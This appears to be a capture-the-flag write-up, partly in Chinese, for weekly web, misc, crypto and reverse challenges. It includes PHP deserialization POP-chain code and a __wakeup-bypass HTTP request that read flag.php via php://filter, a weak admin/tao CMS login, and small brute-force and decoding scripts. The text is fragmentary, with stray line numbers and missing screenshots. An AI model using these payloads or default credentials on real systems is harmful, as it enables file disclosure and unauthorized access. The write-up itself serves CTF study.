<?php
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca {
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
$MI = new misca();
$MU = new musca();
$MIL = new milaoshu();
$MIL -> v = 'php://filter/read=convert.base64-encode/resource=flag.php';
$MI -> a =&$MI -> gao;
$MI -> gao ='1';
$MI -> fei =$MIL;
$MU -> ding = $MI;
$MU -> dong = 'Arcueid';
echo serialize(array($MU));
[WEEK2]no_wake_up
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class flag
{
public $username = "admin";
public $code = "php://filter/read=convert.base64-encode/resource=flag.php";
public function _wakeup()
{
$this->username = "admin";
}
public function __destruct()
{
if ($this->username = "admin") {
include($this->code);
}
}
}
$a= (serialize(new flag));
echo $a;
然后将payload中反序列化的成员数2改成比2大的数
1
2
3
4
5
6
7
8
9
10
GET /wakeup.php?try=O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} HTTP/1.1
Host: 112.6.51.212:30930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://112.6.51.212:30930/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Base解码得到flag
[WEEK2]EasyCMS
进入url/admin/admin.php
查到taoCMS登录弱口令admin/tao
随后在文件管理处找到flag位置
[WEEK2]ez_ssti
(这个payload push不上去,只能上截图了)
[WEEK1]生成你的邀请函吧~
MISC
[WEEK1] 真的签到
扫码回复
[WEEK1]ez-misc
二进制转图片,扫码得到解压密码
然后
放到cyberchef里得到rockyou,使用rockyou字典进行爆破得到解压密码
得到
随后
[WEEK1]残缺的md5
1
2
3
4
5
6
7
8
9
10
11
import hashlib
m='KCLWG?K8M9O3?DE?84S9'
for i in range(26):
t1 = m.replace('?',str(chr(65+i)),1)
for j in range(26):
t2 = t1.replace('?',str(chr(65+j)),1)
for h in range(26):
t3 = t2.replace('?',str(chr(65+h)),1)
s = hashlib.md5(t3.encode('utf8')).hexdigest().upper()
if s[:4] == 'F0AF':
print(s)
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import inverse,long_to_bytes
m = 7130439814057451252206961031070073581161360005074250134175813545291250484317873215316850120633657018292427636656594416171229024284761739178169667824242590880304270396813980988571810173170813
flag=long_to_bytes(m)
flag.decode()
print(flag)
[WEEK1]立正
但,,,最后没解出来
REVERSE
[WEEK1]ez_apk
Jeb,base62换表
[WEEK1]signin
[WEEK1]easy_re
Ida F5得到加密代码
跟进比对字符串
1
2
3
4
5
6
code = [0x66,0x0C6,0x16,0x76,0x0B7,0x45,0x27,0x97,0x0F5,0x47,0x3,0x0F5,0x37,0x3,0x0C6,0x67,0x33,0x0F5,0x47,0x86,0x56,0x0F5,0x26,0x96,0x0E6,0x16,0x27,0x97,0x0F5,0x7,0x27,0x3,0x26,0x0C6,0x33,0x0D6,0x0D7,0x1B]
flag=""
for i in code:
decrypt = ((i<<4)&0xFF)|(i>>4)
flag += chr(decrypt)
print(flag)